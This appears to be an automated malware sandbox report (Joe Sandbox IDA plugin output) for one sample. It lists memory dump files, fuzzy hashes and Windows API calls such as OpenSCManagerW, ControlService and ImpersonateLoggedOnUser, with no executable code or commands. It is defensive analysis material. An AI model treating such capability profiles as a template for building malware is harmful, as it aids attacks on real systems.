Associated: 00000006.00000002.2207874587.0000000000E90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207895672.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207917964.0000000000E92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207939963.0000000000E96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207960516.0000000000E97000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207981494.0000000000E9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208004593.0000000000EA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208026423.0000000000EA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208049434.0000000000EAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208073724.0000000000EB0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208094514.0000000000EB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208117750.0000000000EB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208140183.0000000000EB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208162841.0000000000EBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208186897.0000000000EC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208209610.0000000000EC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208231524.0000000000EC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208253341.0000000000ECE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208278875.0000000000EDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208300458.0000000000EE1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208339116.0000000000F25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208363205.0000000000F26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208436577.0000000000F46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208493599.0000000000F48000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c90000_5C18KRB735WCGR95JY.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5ab71ccf3e5f8da219edaece618832f0a7441377a8ee940aa47ea17bd125e5f1
Instruction ID: 7ea19cf478e01499117ec636d44e3c843af22908bb65db5aa1019c4251f19515
Opcode Fuzzy Hash: 5ab71ccf3e5f8da219edaece618832f0a7441377a8ee940aa47ea17bd125e5f1
Instruction Fuzzy Hash: 3F3101F264D206BEE200CA10AE35BFB776DE7CA730F31542AF442EA083D2900DC95630

Function 00E18FE2 Relevance: 1.6, APIs: 1, Instructions: 125
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(5A40C9E6), ref: 00E19050

Memory Dump Source

Source File: 00000006.00000002.2207508292.0000000000E12000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000006.00000002.2207266294.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207287280.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207308843.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207330168.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207352939.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207460210.0000000000E02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207484130.0000000000E04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207508292.0000000000E1D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207553700.0000000000E25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207574368.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207595879.0000000000E28000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207616396.0000000000E29000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207638620.0000000000E36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207660197.0000000000E3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207692735.0000000000E53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207715079.0000000000E58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207735800.0000000000E59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207758360.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207783589.0000000000E72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207805653.0000000000E74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207831694.0000000000E87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207852993.0000000000E88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207874587.0000000000E90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207895672.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207917964.0000000000E92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207939963.0000000000E96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207960516.0000000000E97000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207981494.0000000000E9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208004593.0000000000EA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208026423.0000000000EA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208049434.0000000000EAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208073724.0000000000EB0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208094514.0000000000EB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208117750.0000000000EB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208140183.0000000000EB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208162841.0000000000EBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208186897.0000000000EC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208209610.0000000000EC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208231524.0000000000EC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208253341.0000000000ECE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208278875.0000000000EDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208300458.0000000000EE1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208339116.0000000000F25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208363205.0000000000F26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208436577.0000000000F46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208493599.0000000000F48000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c90000_5C18KRB735WCGR95JY.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 729dbdf6c4ced061cd2d8a15a6c6a23d90c734d1d2068d15f620596e5bb9c597
Instruction ID: 7031f3d97f16dfcc318218c2c92e18d61695df2e911ec806eb87067e991d244e
Opcode Fuzzy Hash: 729dbdf6c4ced061cd2d8a15a6c6a23d90c734d1d2068d15f620596e5bb9c597
Instruction Fuzzy Hash: 3021DFF764D116BEF2058A116E35BFB676DE7CA770F31982AF402EA083E2A50E855130

Function 00E1902E Relevance: 1.6, APIs: 1, Instructions: 99
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(5A40C9E6), ref: 00E19050

Memory Dump Source

Source File: 00000006.00000002.2207508292.0000000000E12000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000006.00000002.2207266294.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207287280.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207308843.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207330168.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207352939.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207460210.0000000000E02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207484130.0000000000E04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207508292.0000000000E1D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207553700.0000000000E25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207574368.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207595879.0000000000E28000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207616396.0000000000E29000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207638620.0000000000E36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207660197.0000000000E3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207692735.0000000000E53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207715079.0000000000E58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207735800.0000000000E59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207758360.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207783589.0000000000E72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207805653.0000000000E74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207831694.0000000000E87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207852993.0000000000E88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207874587.0000000000E90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207895672.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207917964.0000000000E92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207939963.0000000000E96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207960516.0000000000E97000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207981494.0000000000E9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208004593.0000000000EA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208026423.0000000000EA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208049434.0000000000EAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208073724.0000000000EB0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208094514.0000000000EB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208117750.0000000000EB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208140183.0000000000EB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208162841.0000000000EBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208186897.0000000000EC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208209610.0000000000EC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208231524.0000000000EC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208253341.0000000000ECE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208278875.0000000000EDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208300458.0000000000EE1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208339116.0000000000F25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208363205.0000000000F26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208436577.0000000000F46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208493599.0000000000F48000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c90000_5C18KRB735WCGR95JY.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5424efe1c7ea37fc7c6427911f342f6f734eaea9c045bf380074455528cf203a
Instruction ID: 9ddcd37c095436052b8c5779edd4389f29f23a6811c61f1b06ac2e7d9dfb7fc2
Opcode Fuzzy Hash: 5424efe1c7ea37fc7c6427911f342f6f734eaea9c045bf380074455528cf203a
Instruction Fuzzy Hash: 4A21F9F660E206BEE301CE515A75BFB7BA9EBCA730F315466F442E6143D2A10D845621

Function 00E1618C Relevance: 1.6, APIs: 1, Instructions: 92
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00E1618C

Memory Dump Source

Source File: 00000006.00000002.2207508292.0000000000E12000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000006.00000002.2207266294.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207287280.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207308843.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207330168.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207352939.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207460210.0000000000E02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207484130.0000000000E04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207508292.0000000000E1D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207553700.0000000000E25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207574368.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207595879.0000000000E28000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207616396.0000000000E29000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207638620.0000000000E36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207660197.0000000000E3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207692735.0000000000E53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207715079.0000000000E58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207735800.0000000000E59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207758360.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207783589.0000000000E72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207805653.0000000000E74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207831694.0000000000E87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207852993.0000000000E88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207874587.0000000000E90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207895672.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207917964.0000000000E92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207939963.0000000000E96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207960516.0000000000E97000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207981494.0000000000E9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208004593.0000000000EA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208026423.0000000000EA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208049434.0000000000EAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208073724.0000000000EB0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208094514.0000000000EB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208117750.0000000000EB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208140183.0000000000EB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208162841.0000000000EBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208186897.0000000000EC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208209610.0000000000EC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208231524.0000000000EC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208253341.0000000000ECE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208278875.0000000000EDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208300458.0000000000EE1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208339116.0000000000F25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208363205.0000000000F26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208436577.0000000000F46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208493599.0000000000F48000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c90000_5C18KRB735WCGR95JY.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bda0b6656043ee79c4c4bfac98b7b10aa940b0eb33c7da1508228bfb7239f58e
Instruction ID: eebb8ec655298c8decf68af3dd3565560c1feb5a293c70eafbd3efc5da53b990
Opcode Fuzzy Hash: bda0b6656043ee79c4c4bfac98b7b10aa940b0eb33c7da1508228bfb7239f58e
Instruction Fuzzy Hash: 583169B290C304AFD709AF09D84166EFBE5EF58720F06492DE7D893250E73298509B9B

Function 06CA0D43 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 06CA0DCD

Memory Dump Source

Source File: 00000006.00000002.2210587714.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca0000_5C18KRB735WCGR95JY.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: e19f148e496b45b25ff7e8f665fe1aa9e0a567c407a6253f6dcf0fcde1ac45e9
Instruction ID: 9d0acd71d86ce25e5fc4757fd94879e4760d6f52e8a4c0abd5cb6964c9d4a1b4
Opcode Fuzzy Hash: e19f148e496b45b25ff7e8f665fe1aa9e0a567c407a6253f6dcf0fcde1ac45e9
Instruction Fuzzy Hash: 492138B6D003099FCB50CF99D885BDEFBF4EB88324F14811AD808AB244D734A541CBA4

Function 06CA0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 06CA0DCD

Memory Dump Source

Source File: 00000006.00000002.2210587714.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca0000_5C18KRB735WCGR95JY.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: a117d88509b40d1344947d2bc7c9187667866dbca9027a6d452dfe78af83309e
Instruction ID: 429f56d9cd4ab5ee2c537cd640aa32e37cb87e50ea6d0e985a4637c31fbf0b5c
Opcode Fuzzy Hash: a117d88509b40d1344947d2bc7c9187667866dbca9027a6d452dfe78af83309e
Instruction Fuzzy Hash: A52115B6D013199FCB50CF99D885BDEFBF4EB88314F14821AD808AB244D734A645CBA4

Function 06CA1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 06CA1580

Memory Dump Source

Source File: 00000006.00000002.2210587714.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca0000_5C18KRB735WCGR95JY.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: fbcc82a42ff4603807d6201f3bea0144515c2eeef9f659313b2f0a2504745af1
Instruction ID: 15fad2952866a8b609f8a62fa1bd4617b67b55255bcde2f74fd61315f80fcbaf
Opcode Fuzzy Hash: fbcc82a42ff4603807d6201f3bea0144515c2eeef9f659313b2f0a2504745af1
Instruction Fuzzy Hash: 8E2106B5D003499FDB20CF9AC484BDEFBF4EB48324F148429E559A3650D778AA44CFA5

Function 06CA1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 06CA1580

Memory Dump Source

Source File: 00000006.00000002.2210587714.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca0000_5C18KRB735WCGR95JY.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: af5ccf82877daffa637283ff666b9f7d96503b67f8689f27a86f2f09f4f1ff37
Instruction ID: 88b77e22e853c5eb3e7ad203be76f21aef116049810307f07cd71da941567701
Opcode Fuzzy Hash: af5ccf82877daffa637283ff666b9f7d96503b67f8689f27a86f2f09f4f1ff37
Instruction Fuzzy Hash: 6A1117B5D003498FDB20CF9AC484BDEFBF4EB48324F148029E558A3250D378A644CFA5

Function 06CA1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 06CA1367

Memory Dump Source

Source File: 00000006.00000002.2210587714.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca0000_5C18KRB735WCGR95JY.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 6e54a9c0078dbd0b043acb511c1df5206639c1cf58a94cd1f6c150b8abc0d463
Instruction ID: d2ed23b34cb6f3ff7d5614e9fd41419d645b03bdac172944fb092989b1fb1e9b
Opcode Fuzzy Hash: 6e54a9c0078dbd0b043acb511c1df5206639c1cf58a94cd1f6c150b8abc0d463
Instruction Fuzzy Hash: FF1155B6800349CFDB20CF9AC945BDEFBF4EB48324F24806AD558A3640C739A945CFA1

Function 06CA1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 06CA1367

Memory Dump Source

Source File: 00000006.00000002.2210587714.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca0000_5C18KRB735WCGR95JY.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 735a60686ad55326ed735de40630765c6f702a949a0165ba3b3730b65c77ece3
Instruction ID: a96d901c645cc0650ba0d4da4aa14449cf42c4cf88b74f14000a2e738d97754f
Opcode Fuzzy Hash: 735a60686ad55326ed735de40630765c6f702a949a0165ba3b3730b65c77ece3
Instruction Fuzzy Hash: 1C11F5B58003498FDB20DF9AC945BDEBBF4EB48324F14842AD558A3650D778A944CFA5

Function 00C9E853 Relevance: 1.3, APIs: 1, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00C9E882

Memory Dump Source

Source File: 00000006.00000002.2207330168.0000000000C9A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000006.00000002.2207266294.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207287280.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207308843.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207352939.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207460210.0000000000E02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207484130.0000000000E04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207508292.0000000000E12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207508292.0000000000E1D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207553700.0000000000E25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207574368.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207595879.0000000000E28000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207616396.0000000000E29000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207638620.0000000000E36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207660197.0000000000E3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207692735.0000000000E53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207715079.0000000000E58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207735800.0000000000E59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207758360.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207783589.0000000000E72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207805653.0000000000E74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207831694.0000000000E87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207852993.0000000000E88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207874587.0000000000E90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207895672.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207917964.0000000000E92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207939963.0000000000E96000.00000040.00000001.01000000.00000006.sdmpDownload File
